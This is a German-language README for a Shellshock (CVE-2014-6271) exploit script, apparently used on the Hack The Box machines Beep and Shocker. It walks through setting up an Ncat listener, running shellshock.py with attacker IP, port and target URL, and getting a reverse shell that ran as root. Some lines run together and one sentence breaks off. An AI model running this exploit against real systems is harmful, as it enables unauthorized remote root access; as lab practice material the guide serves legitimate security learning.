
# Shellshock-Exploit, auch bekannt als CVE-2014-6271
Shellshock-Exploit, auch bekannt als CVE-2014-6271.
Getestet auf Bash 3.2 und Bash 4.2.
Weitere Informationen zur Schwachstelle findest du unter: https://nvd.nist.gov/vuln/detail/CVE-2014-6271
Der Exploit wurde hauptsächlich auf Hack The Box in den folgenden Boxen getestet:
Beep-Box: https://app.hackthebox.eu/machines/BeepShocker-Box: https://app.hackthebox.eu/machines/ShockerFalls du hingegen einen 403 auf dem Verzeichnis /cgi-bin/ erhältst, versuche, mit einer guten Wortliste
nach Dateien in diesem Verzeichnis zu suchen, indem du nach .sh- oder .cgi-Erweiterungen suchst.
HINWEIS: Vergiss nicht, deinen TCP-Listener einzurichten, sonst könnte dir der Exploit
Zuerst können wir die Argumente sehen, die der Exploit akzeptiert, indem wir shellshock.py -h ausführen.
Dann können wir einen Ncat-Listener auf einem Port unserer Wahl einrichten, hier habe ich 45 gewählt.
Als Nächstes können wir den Exploit ausführen, indem wir alle erforderlichen Argumente angeben:
shellshock.py [OUR_IP] [OUR_LISTENNING_PORT] [TARGET_URL]
Die Ziel-URL ist hier, wie du siehst, die Stelle, an die der Webserver während der Authentifizierung auf dieser Box eine POST-Anfrage sendet.
Hier sehen wir in der Ausgabe, dass der Exploit versucht hat, das Payload über SSL mit mehreren TLS-Versionen zu senden, bis es erfolgreich war.
Und hier haben wir unsere Reverse Shell bekommen! Glücklicherweise lief der Webserver als root.